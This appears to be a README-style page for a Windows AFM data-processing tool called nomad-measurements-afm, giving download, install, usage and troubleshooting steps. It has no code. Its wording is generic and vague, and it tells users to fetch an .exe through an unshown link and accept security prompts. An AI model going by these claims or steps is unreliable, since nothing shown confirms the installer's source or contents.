The nomad-measurements-afm software provides a dedicated toolkit for processing Atomic Force Microscopy (AFM) data. This tool helps researchers and students convert raw scan files into clean, visual representations. It handles data leveling, noise reduction, and surface mapping. You can view height profiles, phase images, and amplitude data without performing complex coding steps.
Before you start, ensure your computer meets these basic needs:
- Windows 10 or Windows 11.
- At least 4GB of RAM.
- A standard internet connection for the download.
- 500MB of free space on your hard drive.
You need to obtain the installation package from the project page.
Click here to visit the download page
Go to the link above and look for the section labeled "Releases" on the right side of the screen. Click the latest version number. Look for the file ending in .exe or .msi in the assets list. Click this file to save it to your computer.
Follow these steps to set up the software on your Windows machine:
- Locate the downloaded file in your "Downloads" folder.
- Double-click the file to start the setup wizard.
- If a security prompt appears, click "Run" or "Yes" to allow installation.
- Follow the on-screen instructions. Choose "Install for all users" if prompted.
- Click "Finish" when the setup process completes.
- A new icon for nomad-measurements-afm will appear on your desktop.
Once installation completes, you can begin processing data.
- Double-click the program icon on your desktop.
- When the main window opens, click "File" in the top left corner.
- Select "Open" and navigate to your AFM scan file.
- The program loads the data into the primary viewer.
- Use the "Process" menu to select your desired function, such as "Flatten Background" or "Filter Noise".
- The software updates the visual output in the central pane.
- Click "Save As" in the "File" menu to export your images or processed data.
If you run into issues, check these frequent solutions:
- Missing Files: Ensure you downloaded the complete installation package. Re-download if the file size is very small.
- Slow Performance: Close other memory-intensive programs while running the AFM software.
- Driver Errors: Ensure your Windows operating system is up to date using the "Check for Updates" feature in your system settings.
- File Format: Ensure your raw data files are in a compatible format like .tiff, .txt, or native format export.
The software includes several automated features to assist your workflow:
- Auto-Leveling: This detects the tilt in your scan and fixes the perspective.
- Profile Extraction: Click any part of the image to generate a two-dimensional cross-section height profile.
- Histogram Analysis: View the distribution of surface heights to understand surface roughness.
- Batch Conversion: Process multiple scan files at once by selecting a folder instead of a single file.
For users who scan samples often, consider these habits to keep your work organized:
- Create a dedicated folder for each project or sample type.
- Export images frequently to prevent data loss during long analysis sessions.
- Save your processed data alongside your result images for future reference.
This tool serves the scientific community by providing a simple interface for complex instrument data. It avoids the need for heavy, expensive software suites by focusing only on the measurements you need. If you encounter bugs, check the repository issues page on GitHub. Experts maintain this code to ensure it works with modern Windows releases and current instrument data standards.